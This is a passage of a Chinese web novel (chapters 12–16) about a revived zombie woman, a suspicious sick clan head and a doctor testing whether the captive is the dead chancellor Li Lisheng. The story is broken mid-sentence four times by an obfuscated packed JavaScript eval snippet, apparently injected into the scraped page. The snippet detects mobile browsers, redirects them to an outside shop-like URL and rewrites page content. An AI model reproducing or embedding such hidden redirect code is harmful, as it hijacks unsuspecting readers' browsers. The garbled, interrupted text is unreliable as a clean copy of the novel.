“不晓得那些人是真聪明,还是真蠢。”闻釉崖嗤笑了一声,低垂的眉眼间藏着森森寒意,言语间模棱两可,倒是让人有一种不寒而栗的感觉。 季沅绫猛地抬头看向她,以自己对闻釉崖的了解,这人的话倒像是一种肯定。 她抬起手捂住了自己的耳朵,她就是一个江湖大夫,一点也不想牵扯到这种要命的皇家秘闻中。 12. 相似 在柴房里裹着被子的黎栎笙感觉鼻子痒痒的,也不知道是生病还是被人念叨了,她看了一眼门上被自己用木刺贯穿出来的洞后叹了口气,失策,本来还勉强能挡风的门现在呼呼漏风。 也不知道那位闻姑娘现在怎么样了,病重未愈又染了风寒,走的时候她脚步虚浮,看起来随时都会摔倒。 不过有暗卫姑娘在,她应该不会摔着,回去之后在暖和的屋子里让大夫好好看看,应该不会有大碍吧。 还是自己更惨一些,照顾人家一晚上,早上被轻薄了之后自己都还没有说什么呢,就被人家掐着下巴威胁恐吓。 “唉……”黎栎笙重重地叹了口气,这日子越发难过了,她是不是应该找个机会逃出去? 昨天晚上用那根木刺杀僵尸的时候,黎栎笙发现自己力量似乎有些超出想象,说不定逃出去也不是一件难事。 但逃是可以逃,可反派的事情又要去哪里打听呢?一年的时间说短不短的,说长也不长,那个黑化值也不是碰到反派就能让它降低,真愁人呐。 闻姑娘应该认识曾经的自己,但是她们俩的关系好像……怪怪的,看着自己的时候,对方眼底的怀念与恨有着同样的重量,每次对上这样的眼睛,黎栎笙都会感觉心脏微疼,想要询问的话总是说不出口。 黎栎笙在屋子里唉声叹气的时候,房门忽然被推开了。 一股淡淡的药香随着风飘了进来,黎栎笙抬头看去,发现那位给闻姑娘治病的大夫来了。 “这个地方颇为阴寒,那些人也真不会办事,怎么能让姑娘你住在这里。”季沅绫提着药箱踏进房门,一开口就是关切,在身处困境的情况下,每一缕善意的光都容易被人当做最后一根救命稻草。 季沅绫想要降低黎栎笙的警惕,获取她的信任。 只不过没想到对方不按常理出牌,既没有附和她,也没有向她诉苦求救,只是颇为关心地问了一句:“闻姑娘昨天晚上淋了雨又吹了风,今天早上有些发热,您给她开了新药吗?” 季沅绫透过那个姑娘的眼睛,只瞧见了一片纯净与毫不掩饰的关心,她仿佛并不在意自己的困境,只是单纯关心那个将她困在这里的人。 季沅绫有点读不懂这个人了,她不知道对方是心思过于深沉善于伪装,还是自己心思龌龊,曲解人家的好意。 但是她这个样子……却恰恰像是传说中的那位丞相会做的事情,季沅绫的眼角微微抽动,努力将自己脑海中乱七八糟的想法丢出去。 别先入为主,不然一不小心就会被对方套进去。 “已经煎好药让家主服下了,昨天晚上多亏了姑娘,不然家主就要危险了。”季沅绫重新挂上一副和善的笑容。“她现在已经清醒了,正在和京城里来的大人谈论朝廷大事,我可不想听那些可能会掉脑袋的秘闻,正好找个理由来看望你。” 黎栎笙蹙起眉道:“她的身体还没好,有多重要的事情非得她现在处理?” “确实是大事,我这个大夫都不好说什么。” 好吧,大人物嘛,忙得很,人家大夫都不好说什么,自己就更没资格操心了,黎栎笙想要说的话也只能重新咽回肚子里。 “昨晚那贼人被抓住了吗?”若是那怪物不死,恐怕还会找回来,黎栎笙有点担心那个病殃殃的人还会被袭击。 “抓住了,不过他也死了,这件事情也多亏了姑娘。”季沅绫一想到那具尸体上面的伤口就有些咋舌,“那贼人也不知道修炼了什么邪功,把自己练成了怪物的样子,和僵尸很像,头、躯干和四肢的皮肤骨骼修炼如同铜墙铁壁,刀剑都很难伤,若不是姑娘那一根木柴重创了他,昨天他还真可能跑了。” 那个怪物唯一的弱点就是脖颈,昨天许洢留在门口的暗器阴差阳错地刺穿了对方的脖子,但那个东西的生命力强得可怕,不把头砍下来都死不了。 昨天晚上不知情的护卫们落在他胳膊和身体上的武器几乎没有造成多深的伤口,但是自己眼前的这位姑娘仅用一根一折就断的木柴,竟然就直接贯穿了对方的胸膛! 若是没有这一击,那个怪物就算被刺穿了脖子,恐怕还是能逃走。 如果这个姑娘是敌人,那就太危险了。按道理来说,等家主的病情得到控制后应当立刻将这个人送走,但季沅绫明白家主不可能放手。 “可惜,如果还活着,说不定能够问出背后主使。”黎栎笙抱着被子略感惋惜。 季沅绫微微摇了摇头道:“其实抓住活口也没有什么用处,他练的是邪功,脑子早就不清楚了,就算问也问不出什么东西,这件事情乌大人正在查,无论幕后主使是谁,终究是跑不掉的。” “而且这件事情还牵扯到了当今陛下,聪明人就不应该继续趟这趟浑水,到如今这个地步,家主和乌大人还能将人保下,若是冥顽不灵以后被处以极刑,那谁都救不了。”季沅绫语重心长道。 黎栎笙知道这位好心大夫是在提醒自己,这个府里的人大概都在怀疑她吧,但是自己真的是一只无辜的僵尸! “好啦,那些事情都是上面的大人物们要操心的,我们就没必要跟着一起烦心了。”季沅绫将自己的药箱往旁边推了推,然后又不知从哪里摸出了个小马扎,自来熟地坐在了黎栎笙的身边。 “听说昨天晚上你把外衣都给家主御寒了,自己穿着一件单衣被风吹了许久,许洢让我来看看你有没有生病,来,把手伸出来,让我探探脉。”季沅绫的语气可温柔了,就像是一个哄骗小孩的骗子。 黎栎笙下意识将被子裹紧,她就知道这个大夫过来的目的绝不是单纯看望自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173763|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说是看病,其实是想看看自己到底是活人还是死人吧。 季沅绫拽了一下她的被子,没拽动,然后她卯足了劲,可被子依然纹丝不动。 季沅绫和黎栎笙僵持了一会后都有些气喘了,她甚至都用上了内力,可依然没有用,此人果然厉害。 季沅绫最后不得不微笑着道:“姑娘不可讳疾忌医呀,不然我只能请家主过来了。” 黎栎笙微微睁大了眼眸,她再也不说对方好心了,这个大夫分明一肚子坏水! 季沅绫被盯得良心微痛,自己好像成了一个十恶不赦的坏人,但那句话可真不是威胁,这是家主交代的任务,如果自己完成不了,那位自然会亲自过来。 雨中,闻釉崖打着伞站在院中,目光则遥遥望着柴房的方向。 “你在担心柴房那边?”乌宵月顶着几天没睡的疲惫眼眸看向闻釉崖。 “不,没什么。”闻釉崖收回视线,迈步往前走。 “让许洢带我去就行了,你的病都还没有好,没必要亲自来一趟。”乌宵月看着她消瘦的身影,略有些担心。 “无碍,我也想知道是谁在这个地方敢散布那些谣言。”闻釉崖觉得那些人胆子很大,自己还没死,就试图在她的眼皮子底下搞这些小动作。 听说外面有那些谣言后,她立刻让手底下的人去查,不出几个时辰的功夫,谣言的几个源头就被带过来了。 她领着乌宵月来到府邸一个偏僻的角落,进入那个屋之后,她转动了一个不起眼的瓷瓶,墙后传来机关震动的声音,没一会就出现了一个密道。 她拿着一盏油灯先一步进入地牢,地牢里面阴气更重,偶尔还能听见像是鬼哭的呜咽声。 在第一个牢房中,几个被捆住手脚堵住嘴的人被关在那儿,神情恐惧。 “这些就是最先开始传谣言的人,需要我帮你审吗?”闻釉崖目光冷然地看着那几个人,嘴角却浮现了一抹堪称柔和的笑容,“我保证今天之内,会让这几个人把知道的都吐出来。” 乌宵月盯着闻釉崖好一会儿后才微微摇了摇头道:“暗枢司也有手段,你就不用劳神了,等结果就好。” 她盯着漆黑的牢房似有些感慨,“你越来越像丞相了,无论是手段还是气度神情……” 那位丞相当年就是有名的笑面虎,要清理的人越多,她的笑容就越温柔。 闻釉崖似乎也学会了她的笑,恍惚间,乌宵月感觉自己看到了故人的影子。 闻釉崖骤然握紧了伞柄,她抬起另一只手碰了一下自己的嘴角,又忽然放下并捏紧了拳,她不想承认自己的身上烙印了那个人的影子。 “我出去透透气。”地牢里好像闷得慌,闻釉崖有点喘不上气,她不想和乌宵月继续那个话题,于是转身离开了地牢。 13. 骗子 “哗啦啦……” 急促的雨滴砸在地上,安湘城的天又变成了阴云密布的样子,让人心情烦闷。 地牢里的空气凝滞得让人喘不过气,可是当闻釉崖不顾身体站在外面的冷风中时,心口那股凝滞之气依然没有化开。 闻釉崖的呼吸有些急促,这些时日旧伤复发再加上染了风寒,若非内力深厚,她根本没办法支撑着病躯走到这里,现在不让她去审那些传播谣言的可疑人士,闻釉崖撑着的那口气散了一些,眩晕的感觉席卷而来。 她靠在墙边,身体一点一点滑落,最后只能勉强撑着身体靠墙而坐。 闻釉崖扯了一下嘴角,满口苦涩,乌宵月说自己越来越像她了,愣神间,她一直克制着不愿意回忆的过往就如潮水般袭来。 原来自己不想回忆起她的一颦一笑,却早就让那些回忆深入了骨髓。 其实想一想也是必然的事情,毕竟自己年幼最好骗的时候就被对方哄得团团转,一首歌谣几句承诺就让她成了自己最憧憬的人,自此之后满心满眼都是她,都是那个狠心骗子的错。 闻釉崖看向远处亮起的灯笼,雨中的光有些朦胧,就像自己年幼时偷看的那一场夜宴的光亮。 被黎栎笙收养后,天天被哄着睡觉的刺猬也软下了尖刺,她和黎栎笙的关系渐渐亲近,晚上做噩梦的时候都会抱着枕头去找那个收养了自己的姐姐。 但有一天晚上她没在黎栎笙的卧房找到人,也没在书房找到,最后她在院子里漫无目的地转悠时,发现宴客厅传来了光亮。 她悄悄从后门溜了进去,然后悄悄躲在屏风后面偷看,没曾想这一看,却让她发现席间有一个肥头大耳的官员和那日在城门上一边喝酒吃肉一边下令杀掉灾民的人一模一样! 他那日说的话是什么来着? 天下海晏河清,各地吏治清明百姓富足,哪有什么灾民。 小小年纪的她不知道这个人为什么能睁眼说瞎话,但是许多和自己同行的人都死在马蹄和刀剑之下,她小小的身子不住颤抖,恨不得在那人的身上咬下一口肉。 席间的菜肴清淡,没有酒,只有满满一杯清茶。 小孩子看不出里面的门道,茶倒满是送客之举,但在场所有官员都战战兢兢地坐在那里一动不动。 主座上,那个在她看来是个好人的姐姐笑意温柔,昏黄的烛光落在她身上,浮起了绒绒的质感,她挨个关心了一下那些官员的家人,看起来好似和那些坏人是一伙的! 年幼的自己没看到那些官员在听到家人后抖如筛糠的身体,她只是很生气,想逃出那个虎窝,但是一道力量将她按在了原地,动弹不得。 随后她听到黎栎笙在关心完那些官员的家人们后,继续语气温和地提到了城门口灾民们被杀一事。 “城门口的事情我知道了,御史的奏折堆得像山一样高,无论是谁下的命令,城门上的血都会污了陛下的圣名,陷陛下于不义,陛下在清修中听闻此事后大发雷霆,命我将这件事情处理好。”黎栎笙的语气听起来像是在说一件寻常事,可那些在外面耀武扬威的大官齐齐跪在了地上冷汗涔涔,将躲在屏风后的孩子吓了一跳。 “各位大人怎么跪下了?都坐吧,现在这天一日比一日冷了,吃些东西喝杯热茶才好走夜路。”黎栎笙就好像没有看见这些官员的丑态,依旧言笑晏晏。 终于有一个人再也忍不住了,连滚带爬地冲上来。 小孩看他神情狰狞的样子以为对方要袭击黎栎笙,也不知哪来的虎劲挣脱了莫名的力量,然后冲出来将那个人推倒在地。 闻釉崖记得那时黎栎笙的目光非常惊讶,随后她带着笑意对自己招了招手,并抱着自己坐在她的腿上。 “我不想死,您救救我!下官也只是一个听命行事的,传命令过来的是二皇子啊!”扑过来的官员也没空计较把自己撞倒的小孩,只是涕泗横流地磕头求救。 “攀咬皇室,罪加一等。”黎栎笙的语气轻柔,听起来还有些怜悯,就是没有责怪的意味。 那些人听黎栎笙的语气还以为自己能抓到救命稻草,纷纷跪下来哭诉是二皇子贪了赈灾的钱粮,看到有大批灾民涌入怕东窗事发,这才干了蠢事。 黎栎笙没有阻止,只是静静地听着他们如同倒豆子一样将自己背后的指使者交代出来。 “你们说的我何尝不明白?但这件事情要有人承担责任,陛下不想看到一些乱七八糟的事情牵扯到他最疼爱的皇子,各位世家公卿也不希望这件事情继续扩大,所以只能委屈几位了。”黎栎笙屈起指节轻轻敲击了一下桌面。 几个身着暗枢司官服的人悄然出现,他们将那几个人绑了起来并堵住嘴拖了下去。 “处理得好看些,要让上面那几位安安心心地过年。”黎栎笙的声音在骤然冷清的宴客厅内回荡,她此时温柔的语调落在那几个官员的耳中恐怕更像是恶鬼的呢喃。 最后离开的暗枢司指挥使微微欠身,然后轻轻关上了门。 没见过世面的孩子有些震惊,那些在她看来张张嘴就能决定自己生死的大官就像被拖死猪一样拖了出去。 不可思议间,她感觉自己的嘴被轻点了一下,那位姐姐打趣的声音传来:“刚刚你撅着的嘴都能挂油壶了,谁惹你不高兴了吗?” “我、对不起,我刚刚看到你对那些坏人和颜悦色,就以为你跟他们是一伙的。”知道自己误会人家的小孩非常愧疚。 黎栎笙被她逗笑了,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178637|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到小小的孩子面色涨红,她才解释道:“我那是在唬他们的,没想到先把你唬住了。” 小孩子的脸更烫了,好半天才小心翼翼地问:“那些坏人会受到惩罚吗?” “会,从今往后你都不会再见到他们。”黎栎笙轻轻揉了揉她的发顶。 “那些坏人背后的人呢?”小闻釉崖扬起脸,双眸间满是孩童天真的希冀。 “他们呀……现在不行,但以后会。”黎栎笙顿了顿,依旧给出了承诺。 那时年幼的闻釉崖只觉得自己好像看到了上天派来救大家于水火之中的神仙,而对方确实做到了,诛杀贪官污吏、清除朝廷积弊、辅佐仁君登基……现在的天下已然海晏河清。 可她有那么多善心,为什么就是不愿意分自己一点呢? 闻釉崖因为感受到掌心的刺痛而回了神,在不知不觉间,她的掌心都被自己掐出了血。 “家主!您怎么坐在这里?!”许洢寻了一圈后才发现闻釉崖竟然坐在这处偏远的墙角边,她赶忙冲上前将人扶进屋坐下。 闻釉崖看了一眼她手中紧紧攥着的银簪,眼神微微凌厉,“你手里握着什么东西?” 许洢将手中的银簪、拎着的包裹和一封信全部放到了闻釉崖身边的桌子上。 “这里是关于柴房那位姑娘的调查结果,属下和暗枢司将各自查到的东西汇总了一番,我们无法查到她在几天之前的任何活动痕迹,这个人仿佛是忽然出现在那座山的山脚下……” 许洢顿了顿,两边的调查结果都很统一,而且让人心中发寒。 “只有山脚下的几户农家见过她,他们说那个姑娘是从山上下来的,当时她身上还穿着殓服,被人提醒后她用这根簪子和山下的一个小姑娘换了一身家里大人的衣服,殓服埋在了河边,除此之外就查不到任何东西了。” 这根银簪是黎栎笙的东西,也是当年的陪葬品,而包裹里的殓服更是闻釉崖当年亲手为她换上的。 闻釉崖抚过银簪和殓服,脸色越发苍白,许洢真怕她会倒下。 这些东西意味着柴房里的那位要么真的是复生或尸变的黎相,要么是盗了墓的贼人,甚至扒了尸骨的殓服并故意在人群中留下那么多可以让他们查的线索。 偏偏这个时候逆贼又弄出来了僵尸杀人案,让那姑娘身上的嫌疑加重了好几倍。 许洢能猜到的事情闻釉崖又怎会想不到。 她有些沙哑的笑声中透着让人心颤的阴冷,“许洢,你觉得那个人是丞相大人,还是胆大包天的赝品?” 许洢没办法给出确切的答案,本来不信怪力乱神的她此刻却更偏向前者,但如果真的是后者,这次就算皇帝来了恐怕也救不了柴房里的那个人。 14. 应声 闻釉崖盯着手中的银簪看了许久许久,如果柴房里的那个是盗墓贼,那对方只会在各种酷刑中苦苦煎熬而死,但有一点许洢猜错了。 就算那个人真是从棺材里爬出来的黎栎笙本尊,闻釉崖也同样不会放过对方。 她浑浑噩噩苦熬了那么多年,心中积攒的怨又如何能轻轻放下。 许洢在压抑的气氛中纠结了许久,柴房里的那位太玄乎了,她又怕自己的想法误导了家主,所以只能闭上了嘴。 天色彻底暗下来后,地牢那边也传来了机关震动的声音。 乌宵月走了出来,衣摆上还沾着一些血。 “收获不多?”闻釉崖抬眸看向面色凝重的乌宵月,从她开始审讯到现在不过半个时辰左右,这点时间分配到里面五个人的身上,恐怕也不够他们交代出多少东西。 “没什么关键线索,那几个人交代那几句流言都是从漱雨楼接的任务,那个组织将客人的身份保护得很好,他们也不知道对方的身份。”乌宵月将手中的油灯放在桌子上,映在她脸上的光亮变暗,也将她浑身的杀意隐藏在黑暗中。 “这个任务的赏金丰厚,而且没有特殊要求,他们以为只要藏得好,朝廷的人就查不到他们,于是一时鬼迷心窍就答应了。” 漱雨楼是江湖上一个做情报生意的组织,同时也会帮一些重要的客人发布任务,招揽合适的江湖人士接手,曾经漱雨楼的楼主说过不会干涉朝堂上的事情,却没想到这才过去多少年,那个组织竟然连关乎皇权的任务都敢过手。 闻釉崖低低地咳嗽了几声,消瘦的身影在昏黄的灯光下微微颤抖。 缓过气后,她才慢慢道:“意料之中。” 幕后之人但凡聪明一些,都不可能猜不到自己会在谣言四起后抓人。 “漱雨楼……虽然以楼为名,但是他们的行踪飘忽不定,没有固定的组织所在地,每次接头的位置都会有变化,楼主可能抓不到,但我正好有一个漱雨楼分堂堂主的行踪。”闻釉崖示意许洢将东西给乌宵月。 许洢立刻从袖子中取出了一封信交给乌宵月。 “本来我想找她买些情报,所以让人查了她的位置,但现在大概不需要了。”闻釉崖的声音很轻,听起来有些气若游丝的感觉。 “好,我让人把她抓回来,你就好好休息吧,这些天别老是折腾自己的身子骨,我会上奏陛下再派个帮手来,你可千万别劳心伤神了。”乌宵月感觉短短几天的功夫,这人又瘦了一些。 黎相的尸骨至今没能寻回,逆贼的事情也没有线索,她要是再出点事情,陛下就彻底无颜面对恩师了,自己回去之后不如直接辞官并负荆请罪,说不定还能让陛下少动些怒。 “我心中有数。”闻釉崖没有应下她的话,火光在她的眼底闪烁,照出了她的执拗。 “你要是真有数,就不会把自己折腾成这个样子了。”乌宵月叹了口气,“许洢,她要是干什么逞强危险的事情记得第一时间和我说,我一定把这人捆回屋子里休息,反正她现在病成这样也打不过我。” 以前她和闻釉崖对上的时候总是输多胜少,现在乌宵月感觉自己用一只手都能打过对方。 “是。”许洢想也没想就应下了。 结果自家家主一记冷眼看了过来,似乎想问她到底是谁家的下属,许洢立刻低下头盯着自己的脚趾尖,假装刚刚无事发生。 “这倒不一定。”闻釉崖冷哼了一声。 乌宵月倒是没反驳,因为她现在不敢气这位病秧子。 “你去忙吧,想来你内力深厚身子骨又好,应该是不用休息的。”她将桌子上的殓服重新用布裹起来后抱在怀里,然后撑着桌子站起身,等脑海中的眩晕稍稍缓一些后,才迈着虚软的脚步往外走。 许洢立刻跟上帮家主打伞,乌宵月眼底带着乌青,这位才是想休息却不能休息的人,她在心里犯嘀咕,这人的报复心越来越强了,还是黎相在的时候好,那个时候闻釉崖虽然也有点凶,但是总体来说脾气还是好的。 对了,刚刚闻釉崖怀里抱的那个是什么衣服,乌宵月觉得那衣服上的花纹有些眼熟,就像是殓服。 她不会开始准备后事了吧?乌宵月忧心忡忡,仿佛已经看见了陛下大发雷霆的样子。 “家主,您在外面吹了很长时间的冷风了,要不然还是先回屋里休息一下吧。”许洢在一旁小心翼翼地提议道。 “……季沅绫到柴房帮那个人看病去了,我去瞧瞧。”闻釉崖紧紧攥着手中的银簪,看病是假,刺探对方的虚实是真。 许洢知道劝不动人,只能卖可怜道:“家主,如果让郑筱知道我没劝住您,她至少要骂我半年。” 闻釉崖紧抿着唇,许洢垂头丧气的模样让她心软了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184426|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是她退让半步道:“就去那边瞧一眼,无论结果如何,我都会回去休息。” 许洢可算松了口气,她真怕家主得不到答案就一直在那熬着,如今愿意回去休息就好。 闻釉崖感觉自己的身体确实变得很差,只走那么一小段路就有些喘不上气,但心中的执拗让她的速度没有变慢,一直到柴房的附近,她的脚步才骤然顿住。 她的心跳声愈发剧烈,如今离柴房近了,闻釉崖却发现自己有些迈不开步子。 闻釉崖曾在无数个日夜期盼那个人能从坟中爬出来,但她知道人死了就是死了,那些人们口中的得道高人都让她放下执念。 她放不下执念,却也认了命。 但如今她不知道命运是眷顾了自己,还是开了一个更加恶劣的玩笑。 “疼。”屋子里忽然传来一声委屈的吃痛声,那个人的声音让她心头一颤。 闻釉崖在反应过来时发现自己已经冲过去推开了门,那个人可怜兮兮地抱膝缩在柴堆角落,头上被扎了许多银针,身上还有大片黑红色的血迹。 季沅绫的手上还拿着好几根针,她一步步靠近并哄骗道:“你这是绝脉之症,不治的话可活不了多久呀。” 也不知是因为看到了黎栎笙这副凄惨的模样,还是因为听到了季沅绫的那句话,闻釉崖只觉得一股血腥气涌了上来,眼前一下子失去了色彩。 跟在闻釉崖身后正在收伞的许洢立刻扔了伞想要来搀扶她,同时发现情况不对的季沅绫也赶忙转过身想去扶快要栽倒的人,但是她的身边忽然掠过了一道残影。 好快! 季沅绫下意识避让,然后差点撞到了旁边的墙,许洢也捞了个空,她只觉得眼前一花,家主就到了黎栎笙的怀里。 黎栎笙心有余悸,她也不知道自己的速度怎么能那么快,一切发生在电光火石之间,全都是她下意识的反应。 怀中之人的喘息很急促,面色潮红,黎栎笙伸手一探,温度比之前更烫了。 但就算眼前一片模糊,闻釉崖还强撑着一丝清醒的意识,她苍白的唇颤抖着呼唤了一声:“黎栎笙……” 听到自己的名字,黎栎笙下意识应了一声,还叮嘱她不要说话,让大夫看看。 她没注意到自己的衣被病人攥紧,而大夫也没来,因为季沅绫已经呆愣在旁边不知道该作何反应了。 15. 不想 就在不久前,季沅绫多次试图抢被子未果,她意识到自己不能和这个奇怪的姑娘硬来,只能继续试图获取对方的信任。 她坐在小马扎上和这姑娘聊一下午,背后门上的洞还在呼呼漏风,那姑娘可以裹着被子,而自己什么都没有,幸好她还有内力护体,不然明天早上府中又要多一个染了风寒的人。 在季沅绫坚持不懈的努力下,她成功被黎栎笙套出了自己姓甚名谁、师承何处、又与闻釉崖是如何结识的。 等她回过神时才骤然惊觉,兜兜转转一下午,自己成了被套话的那个。 对上这位姑娘看似懵懂单纯实则藏着狡黠笑意的眸子,季沅绫的嘴角微微抽动,最后也只能自我安慰这也是获取对方信任的一环,反正自己的身份也不重要。 对黎栎笙来说,这位大夫的身份自然不是她关注的重点,她想了解的其实是那位闻姑娘。 她有些想知道那位闻姑娘的病什么时候能够痊愈,想了解对方的身份性格,以后在人家身边需要注意什么…… 不过季沅绫的警惕心也不低,在对方身份不明的情况下她也将重要的信息藏了起来,没让黎栎笙了解到太多关于闻釉崖的事情。 黎栎笙略有些沮丧,不过也没办法,谁让自己的身份可疑呢。 而季沅绫费尽心思趁黎栎笙不备探到了她的颈脉,结果那个地方只有冰冷的死寂,甚至连黎栎笙的胸口都没有正常人呼吸时的起伏。 外面阴雨绵绵,阴风阵阵,在这种氛围的衬托下,季沅绫几乎以为自己真的见鬼了! 由于黎栎笙表现得过于诡异,看过无数鬼怪话本子的季沅绫在出门的时候准备了一小竹筒黑狗血,都说僵尸之类的邪祟怕这个。 不过系统出品的僵尸大概比普通僵尸高级一些,季沅绫拔开竹筒塞子的时候手一直在抖,结果一不小心撒出来了大半,也就是黎栎笙身上黑红色液体的由来。 黎栎笙除了有些懵外,没有任何不适的感觉,季沅绫咽了口口水,她想或许是自己多心了。 在医书古籍上曾有记载,有一种病症叫做绝脉之症,情况和眼前这位有些像,只不过这位更像是死人…… 但是人家生病也不一定非要按照书上写的情况发展,也可能是绝脉之症演化成的更加严重的病情呢? 对于绝脉之症,她虽然没有根治的方法,却也有能够缓解病症的家传秘方,只要用她家祖传的针灸之术,就能在短时间内让脉搏浮现出来,季沅绫想看看黎栎笙到底是不是得了绝脉之症的病人。 于是这才有了闻釉崖进门时看到的那一幕。 只不过谁都没想到会出现这样的变故,家主喊黎相的名字,你这傻姑娘瞎应和什么! 两个外人都觉得心惊肉跳,在黎栎笙应那一声之前,她还能推脱自己什么都不知道,应了这一声后,她就彻底别想从这件事情里脱身了。 黎栎笙抱着浑身滚烫的病人难掩心慌,她等了一下后发现大夫没过来,正有些生气地想问季沅绫在发什么呆时,攥住她衣袖的病人忽然松开了手,然后一把扯住她的衣襟往下一拽。 明明是一个连路都走不稳的病人,此时力气却大得出奇,而且没什么分寸,黎栎笙差一点就吻到了闻釉崖的唇上。 她惊得心脏都差点跳了起来,还好她稳在了离人家的唇还有一指宽的地方。 黎栎笙能够感受到闻釉崖滚烫的呼吸,而闻釉崖除了隐隐约约的冷意外什么都感受不到。 在片刻的沉默中,黎栎笙的心中浮现出一道不合时宜的念头。 她回忆起这位闻姑娘强行亲自己的感觉,那唇软软的,带着一丝药香。 黎栎笙稍稍偏开头,心里唾弃着自己怎能对病人有这样的想法。 刚刚的举动几乎耗尽了闻釉崖的所有力气,她咳嗽的时候口中满是血腥味,黎栎笙赶忙将脑海中乱七八糟的想法剔除出去,然后轻轻拍了拍怀中人的背,帮她顺气。 “你……应下了。” 黎栎笙的耳畔传来她虚弱却能感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188776|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受到咬牙切齿之意的声音。 黎栎笙目露茫然的神色,“我应下什么了?” 闻釉崖的手在微微颤抖,她稍稍缓了几口气后嗤笑一声,嘴角随之滑落血迹。 黎栎笙感到了慌乱,她用袖子擦拭闻釉崖嘴角的血迹,却越擦越多。 “别说话了,我们先让大夫看看好不好?” “你在装什么好心?”闻釉崖嘴角的弧度透着无尽的凄凉与惹人心疼的感觉,至少黎栎笙心疼了,“如果你是黎栎笙,应该最想我死才对,咳咳咳……” 闻釉崖一边咳着一边自嘲道:“如果你不是黎栎笙,也应该想让我死。” 黎栎笙身子一僵,她意识到自己应下什么了,刚刚闻釉崖呼唤的那个名字……是黎栎笙。 但如果不是同名同姓的两个人,闻釉崖口中的黎栎笙就是自己,闻姑娘为什么会说自己想让她死? 恍惚间,黎栎笙好似看到了一个画面。 那画面转瞬即逝,她抓不住,同时还有一道模糊却凄厉的质问声在她脑海中响起。 “嘶……” 黎栎笙听不清那声音具体说了什么,只觉得心脏像被刀剜了一样疼。 随之而来的就是头痛感,就好像有千百根针刺进了她的脑袋里,那些针似乎试图将自己的记忆刺穿挑起,可又好像有什么东西将她的记忆死死压了下来,除了疼得她眼前发黑外,黎栎笙实在想不起来任何东西。 只是她隐约觉得那脑海深处的质问声好像和闻姑娘的声音重合到了一起。 “黎栎笙不想你死。”黎栎笙呢喃着,她不知道自己为什么会说这句话,只是这几个字裹挟着悲伤在她心底浮现。 她怎会让她的月牙儿去死呢。 闻釉崖注意到黎栎笙的不对劲,她抱着自己的力气在减弱,痛苦的表情攀上黎栎笙苍白的脸。 同样发现异常的暗卫立刻冲过来扶住两个人,在确定闻釉崖不会摔倒后,黎栎笙被脑海中的疼痛扯入黑渊,彻底脱了力。 16. 邪祟 闻釉崖接住了黎栎笙无力软倒的身体,她的身体是冰凉的,口鼻间也探不到任何气息。 就像七年前的雨夜,那个人也是这样在她怀中永远闭上了眼。 因过往而起的锥心疼痛让闻釉崖快要病糊涂的脑袋清醒了许多,无论她怀里的这个人是谁,若是拥有和黎栎笙相同相貌的人再一次死在她的怀中,那样的打击能让闻釉崖最后半条命也没了。 在许洢的帮助下闻釉崖挣扎着坐起身,双手颤抖着晃了晃昏迷不醒的人。 闻釉崖的双唇微微颤抖,她哑着嗓子艰难地从喉咙中挤出了一个字。 “喂!” 怀里的人没有任何动静,闻釉崖伸手探了一下黎栎笙的鼻息,许久都没有任何反应。 活人昏迷之后尚且能用气息心跳判断生死,可僵尸昏迷之后该如何判断她是否还能醒过来呢? 黎栎笙在昏迷前一瞬考虑到了这个问题,但那时的她没办法和别人说千万别把自己埋了,也别找大夫给她看,将她扔这儿缓一会就好。 她带着忧虑闭上了眼睛,现如今也确实如她猜测的那样,闭上眼睛就和普通尸体无二的自己将屋子里人都吓到了。 “季沅绫!你对她做了什么!”闻釉崖看着黎栎笙头上的许多银针,眼底瞬间泛起了血红。 这人全身上下看起来没有任何外伤,唯一不同的就是她头上这些新扎上去的针,作为最后一个对她动手的季沅绫只觉得眼前一黑。 她几乎是扑上去将人仔仔细细地检查了一番,可无论季沅绫怎么查,这个人都没有任何气息。 